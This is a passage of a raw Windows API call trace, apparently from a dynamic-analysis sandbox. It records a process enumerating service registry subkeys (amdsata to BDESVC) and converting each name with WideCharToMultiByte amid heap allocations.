WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.992] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.992] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.992] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0243.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.993] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.993] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.993] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0243.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.993] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.994] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.994] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0243.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.994] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.995] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1df0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.995] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.995] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.995] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0243.995] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0243.996] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.996] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.996] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.997] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.997] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.997] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0243.997] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.997] RtlFreeHeap (HeapHandle=0x2520000, 